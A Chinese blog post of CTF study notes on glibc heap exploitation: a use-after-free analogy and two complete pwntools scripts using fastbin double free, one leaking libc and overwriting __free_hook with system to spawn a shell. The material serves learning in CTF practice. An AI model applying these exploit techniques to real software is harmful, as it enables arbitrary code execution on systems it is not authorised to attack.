堆利用
UAF利用
- 没有free指针,导致该指针仍然指向一块地址(可以被调用的地址,如函数/或者用于比较的数据)。
- 通过申请不大于该chunk的空间,从fastbin中获得写入该地址的权限,然后再调用该地址。
我打个比方:前任房东有个癖好,看到沙发是绿色的就会唱歌(调用函数)。我通过中介原封不动地买到了房子(通过申请小chunk从fastbin获得指定chunk),但是前任房东并没有把他的旧钥匙丢掉(没有free掉这个指针,导致他还能再调用这个函数)。我把沙发换成绿的(通过申请合法的chunk去修改成特定地址),然后打电话叫他过来(通过程序再次调用能调用特定函数的功能)。他按道理来说不可能打开我的门的(因为本来应该free掉这把钥匙),但他还是进来了,所以他不得不唱歌(执行我想让他执行的特定功能)。
bilibili-hacknote练习
Double Free
Samsara
很好理解,在栈上伪造一个chunk(只用修改size),然后让fastbins指向这个chunk(通过double free然后再申请写入,模拟fd)。
from pwn import *
sh=process("/home/ctf/samsara")
context.log_level='DEBUG'
def dbg():
gdb.attach(sh)
pause()
def add():
sh.sendlineafter('>','1')
def delete(id):
sh.sendlineafter('>','2')
sh.sendlineafter(':',str(id))
def edit(id,content):
sh.sendlineafter('>','3')
sh.sendlineafter(':',str(id))
sh.sendlineafter(':',str(content))
def get_lair():
sh.sendlineafter('>','4')
sh.recvuntil('0x')
lair=int(sh.recvuntil('\n'),16)
return lair
def change_lair(content):
sh.sendlineafter('>','5')
sh.sendlineafter('\n',str(content))
def win():
sh.sendlineafter('>','6')
sh.interactive()
add() #0
add() #1
delete(0) #0
delete(1) #1->0
delete(0) #0->1->0
add() #2<->0
change_lair(0x20)
fake=get_lair()-8 #指向虚假的prev_size
edit(2,fake) #将0的fd指向fake地址:1->0->target
add() #3<->1
add() #4<->0
add() #5 target
edit(5,0xdeadbeef) #修改target
win()
ACTF 2019 Message
安装libcsearcher
在docker容器中,因为只模拟了环境。所以使用LibcSearcher的时候会报ssl认证错误。
哈哈,我太开心了,用glibc-all-in-one和patchelf一次就解决了,并且懂得了具体原理,哈哈,学了两天,太开心了。
from pwn import *
from LibcSearcher import *
sh=process("/home/muyigin/Desktop/libc2.23/ACTF_2019_message")
elf=ELF("/home/muyigin/Desktop/libc2.23/ACTF_2019_message")
context.log_level='DEBUG'
def dbg():
gdb.attach(sh)
pause()
def add(length,content):
sh.sendlineafter(':','1')
sh.sendlineafter(':',str(length))
sh.sendlineafter(':',content)
def delete(index):
sh.sendlineafter(':','2')
sh.sendlineafter(':',str(index))
def edit(index,content):
sh.sendlineafter(':','3')
sh.sendlineafter(':',str(index))
sh.sendlineafter(':',content)
def display(index):
sh.sendlineafter(':','4')
sh.sendlineafter(':',str(index))
add(0x30,'aa')# 0
add(0x20,'aa')# 1
add(0x20,'aa')# 2
delete(1) #1
delete(2) #1->2
delete(1) #1->2->1
fake=0x602060-0x8 #fake chunk's size
add(0x20,p64(fake)) #3:1<->fake chunk, Now the fastbins: 2->1->fake
add(0x20,'aa') #4:2
add(0x20,'aa') #5:1
add(0x20,p64(elf.got['puts'])) #6:fake
display(0)
sh.recvuntil(': ')
puts=u64(sh.recvuntil('\n').strip().ljust(8,b'\x00'))
# get address
libc=LibcSearcher('puts',puts)
base=puts-libc.dump('puts')
system=base+libc.dump('system')
free_hook=base+libc.dump('__free_hook')
# change free_hook
edit(6,p64(free_hook)) #edit fake->0chunk的地址
edit(0,p64(system)) #将0chunk地址以为是堆的地址,进入并修改(实际上进入的是free_hook的got表,修改成system地址)
add(0x10,'/bin/sh\x00') #7
delete(7)
sh.interactive()
原理就是,通过修改note0(结构是:length 堆地址)的堆地址,把它改成free_hook地址,因为free_hook会自动被调用,再写“堆地址”(但现在已经是free_hook地址)将它改成system地址,这样子/bin/sh\00的参数就会给system(不用再手动放在栈上)。
Unlink
Heap extend
Fastbin Attack
本文来自博客园,作者:muyiGin,转载请注明原文链接:https://www.cnblogs.com/muyiGin/p/18426141